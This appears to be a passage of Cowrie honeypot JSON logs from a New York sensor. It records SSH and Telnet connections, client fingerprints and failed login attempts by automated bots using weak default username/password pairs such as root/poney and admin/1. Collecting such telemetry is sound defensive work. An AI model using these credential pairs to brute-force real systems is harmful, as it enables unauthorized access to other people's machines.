{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:09.692587Z","src_ip":"213.135.168.228","session":"2102fdcdfc74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poney","message":"login attempt [root/poney] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:10.281410Z","src_ip":"213.135.168.228","session":"2102fdcdfc74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58844,"dst_ip":"159.203.135.109","dst_port":22,"session":"b241a2fb5bfd","protocol":"ssh","message":"New connection: 176.65.132.129:58844 (159.203.135.109:22) [session: b241a2fb5bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:10.597993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:10.603881Z","src_ip":"176.65.132.129","session":"b241a2fb5bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:10.690032Z","src_ip":"176.65.132.129","session":"b241a2fb5bfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:10.941651Z","src_ip":"176.65.132.129","session":"b241a2fb5bfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:11.423099Z","src_ip":"213.135.168.228","session":"2102fdcdfc74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38152,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b69a5166341","protocol":"telnet","message":"New connection: 152.42.224.71:38152 (10.17.0.5:23) [session: 2b69a5166341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:11.620632Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:12.028327Z","src_ip":"176.65.132.129","session":"b241a2fb5bfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.669617652893066,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:12.823614Z","src_ip":"152.42.224.71","session":"b4d056aea049","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58848,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfefdde06220","protocol":"ssh","message":"New connection: 176.65.132.129:58848 (159.203.135.109:22) [session: bfefdde06220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:13.809404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:13.813999Z","src_ip":"176.65.132.129","session":"bfefdde06220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:13.896102Z","src_ip":"176.65.132.129","session":"bfefdde06220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:14.143422Z","src_ip":"176.65.132.129","session":"bfefdde06220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38162,"dst_ip":"10.17.0.5","dst_port":23,"session":"709954e90ab7","protocol":"telnet","message":"New connection: 152.42.224.71:38162 (10.17.0.5:23) [session: 709954e90ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:15.086185Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:15.235893Z","src_ip":"176.65.132.129","session":"bfefdde06220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45826,"dst_ip":"159.203.135.109","dst_port":22,"session":"36b9517a1d53","protocol":"ssh","message":"New connection: 176.65.132.129:45826 (159.203.135.109:22) [session: 36b9517a1d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:17.053929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:17.058068Z","src_ip":"176.65.132.129","session":"36b9517a1d53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:17.139970Z","src_ip":"176.65.132.129","session":"36b9517a1d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:17.389146Z","src_ip":"176.65.132.129","session":"36b9517a1d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:18.474085Z","src_ip":"176.65.132.129","session":"36b9517a1d53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38250,"dst_ip":"10.17.0.5","dst_port":23,"session":"78968442efab","protocol":"telnet","message":"New connection: 152.42.224.71:38250 (10.17.0.5:23) [session: 78968442efab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:18.530258Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45832,"dst_ip":"159.203.135.109","dst_port":22,"session":"872216b6412b","protocol":"ssh","message":"New connection: 176.65.132.129:45832 (159.203.135.109:22) [session: 872216b6412b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:20.503951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:20.513614Z","src_ip":"176.65.132.129","session":"872216b6412b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:20.596351Z","src_ip":"176.65.132.129","session":"872216b6412b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:20.843152Z","src_ip":"176.65.132.129","session":"872216b6412b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:21.928749Z","src_ip":"176.65.132.129","session":"872216b6412b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38252,"dst_ip":"10.17.0.5","dst_port":23,"session":"66d164769977","protocol":"telnet","message":"New connection: 152.42.224.71:38252 (10.17.0.5:23) [session: 66d164769977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:22.554740Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45836,"dst_ip":"159.203.135.109","dst_port":22,"session":"d69a2326e6a5","protocol":"ssh","message":"New connection: 176.65.132.129:45836 (159.203.135.109:22) [session: d69a2326e6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:23.725820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:23.731391Z","src_ip":"176.65.132.129","session":"d69a2326e6a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:23.813945Z","src_ip":"176.65.132.129","session":"d69a2326e6a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:24.060954Z","src_ip":"176.65.132.129","session":"d69a2326e6a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:25.211567Z","src_ip":"176.65.132.129","session":"d69a2326e6a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36354,"dst_ip":"159.203.135.109","dst_port":22,"session":"881431c35b08","protocol":"ssh","message":"New connection: 176.65.132.129:36354 (159.203.135.109:22) [session: 881431c35b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:26.948728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:26.953641Z","src_ip":"176.65.132.129","session":"881431c35b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:27.035922Z","src_ip":"176.65.132.129","session":"881431c35b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.01302146911621,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:27.077213Z","src_ip":"152.42.224.71","session":"2f007fa185e7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:27.282386Z","src_ip":"176.65.132.129","session":"881431c35b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44556,"dst_ip":"10.17.0.5","dst_port":23,"session":"3633312bf0a8","protocol":"telnet","message":"New connection: 152.42.224.71:44556 (10.17.0.5:23) [session: 3633312bf0a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:28.116850Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:28.370718Z","src_ip":"176.65.132.129","session":"881431c35b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36368,"dst_ip":"159.203.135.109","dst_port":22,"session":"1799cb6c5318","protocol":"ssh","message":"New connection: 176.65.132.129:36368 (159.203.135.109:22) [session: 1799cb6c5318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:30.394461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:30.399413Z","src_ip":"176.65.132.129","session":"1799cb6c5318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:30.489192Z","src_ip":"176.65.132.129","session":"1799cb6c5318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:30.736341Z","src_ip":"176.65.132.129","session":"1799cb6c5318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:31.822319Z","src_ip":"176.65.132.129","session":"1799cb6c5318","protocol":"ssh"}
